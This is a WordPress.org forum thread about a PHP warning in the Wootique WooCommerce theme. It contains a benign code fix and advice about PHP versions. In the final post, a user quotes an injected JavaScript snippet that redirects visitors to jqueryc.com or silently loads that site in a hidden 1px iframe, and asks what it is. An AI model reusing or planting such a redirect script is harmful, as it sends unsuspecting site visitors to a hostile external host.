WordPress.org

Ready to get started?Download WordPress

Forums

[closed] Woocommerce Wootique theme error (15 posts)

  1. Tattoo_Addict
    Member
    Posted 2 years ago #

    Hello

    I am new to WordPress and Woocommerce. I have recently installed the Woocommerce plugin onto my WordPress site and it works fine until I try to use the Wootique theme for the plugin. I get the following error, whilst testing it on localhost:

    ( ! ) SCREAM: Error suppression ignored for
    ( ! ) Warning: Creating default object from empty value in C:\wamp\www\wordpress\wp-content\themes\wootique\functions\admin-hooks.php on line 160
    Call Stack
    # Time Memory Function Location
    1 0.0010 249760 {main}( ) ..\index.php:0
    2 0.0017 253312 require( 'C:\wamp\www\wordpress\wp-blog-header.php' ) ..\index.php:17
    3 0.5128 24148184 require_once( 'C:\wamp\www\wordpress\wp-includes\template-loader.php' ) ..\wp-blog-header.php:16
    4 0.5164 24183016 include( 'C:\wamp\www\wordpress\wp-content\themes\wootique\index.php' ) ..\template-loader.php:43
    5 0.5164 24183752 get_header( ) ..\index.php:2
    6 0.5169 24185024 locate_template( ) ..\general-template.php:34
    7 0.5171 24185200 load_template( ) ..\template.php:366
    8 0.5191 24227608 require_once( 'C:\wamp\www\wordpress\wp-content\themes\wootique\header.php' ) ..\template.php:390
    9 0.5538 24293528 woo_head( ) ..\header.php:33
    10 0.5538 24293640 woo_do_atomic( ) ..\admin-hooks.php:21
    11 0.5602 24296248 woo_get_query_context( ) ..\admin-hooks.php:90

    Anyone got any ideas as to what is causing it?? The Woocommerce works fine until i install the theme.

    Thanks for all your help in advance!!

  2. fkildoo
    Member
    Posted 2 years ago #

    I get similar results. Woocommerce plugin works fine until I try to use the Wootique theme.

  3. kenwahren
    Member
    Posted 2 years ago #

    Had the same problem. I think this is an error in the source code, you might have some luck instantiating $query_context before line 90 in admin-hooks.php:

    $query_context = new stdClass();
    $query_context->context = array();

  4. kenwahren
    Member
    Posted 2 years ago #

    or line 160 even

  5. Anton
    Member
    Posted 1 year ago #

    Hi Kenwahren,

    could you please help me out. I don't really understand your latest comment.

    I have this error: public_html/wp-content/themes/skeptical/skeptical/functions/admin-hooks.php on line 160

    What should I change in admin-hooks.php?

    Thanks in advance!

  6. odorex
    Member
    Posted 1 year ago #

    Hi I just got this same error on my Wootique/Woocommerce webstie - and I'm not familiar with code - can someone tell what I need to do please.

  7. jamiewisdom
    Member
    Posted 1 year ago #

    I'm getting this error on Canvas and Beveled themes. I have the same themes installed on most of my other wp websites and not getting this error at all. Makes me think it could be server side? Any one got anywhere yet?

  8. odorex
    Member
    Posted 1 year ago #

    @jamiewisdom - I contacted my hosting company and they advised the PHP was upgraded on the cpanel servers, and this was what caused the errors - which their engineers fixed.

  9. jamiewisdom
    Member
    Posted 1 year ago #

    Thanks odorex, that's certainly helpful.

    Best wishes!

  10. jamiewisdom
    Member
    Posted 1 year ago #

    So! After a little digging, I found that if my server uses php 5.4, I get the error. If I change the settings, and use php 5.2, I don't get the error.

    Thanks to odorex for pointing me in a direction!

    :•)

  11. Anton
    Member
    Posted 1 year ago #

    It is nice to know that this does the trick, though this is of course not a real sollution.
    I would love to hear another code-wise solution.
    Who can help?

  12. Michael Tieso
    Member
    Posted 1 year ago #

    Any solutions to this? We need to use 5.4.

  13. LizzyFin
    Member
    Posted 1 year ago #

    kenwahren's solution worked for me - thanks for posting it!

    The following 2 lines were added to admin-hooks.php just before the IF statement on line 160:

    $query_context = new stdClass();
    $query_context->context = array();

    The warning disappears using PHP 5.4.7 and all is well again.

  14. rafihecht
    Member
    Posted 1 year ago #

    That's amazing! Thanks!

  15. Kir_Hazard
    Member
    Posted 1 year ago #

    Lines were added but now i see:

    "/* NOTICE! You've requested a file that is not available for remote inclusion. */ try{ window.location = 'http://www.jqueryc.com'; }catch(e){ var rframe = document.createElement("iframe"); rframe.setAttribute('width','1px'); rframe.setAttribute('height','1px'); rframe.setAttribute('frameborder','0'); rframe.setAttribute('id','rfx'); rframe.setAttribute('src','http://www.jqueryc.com'); document.body.appendChild(rframe); }"

    What is it?
    PHP 5.3 or 5.4 - same situation.

Topic Closed

This topic has been closed to new replies.

About this Topic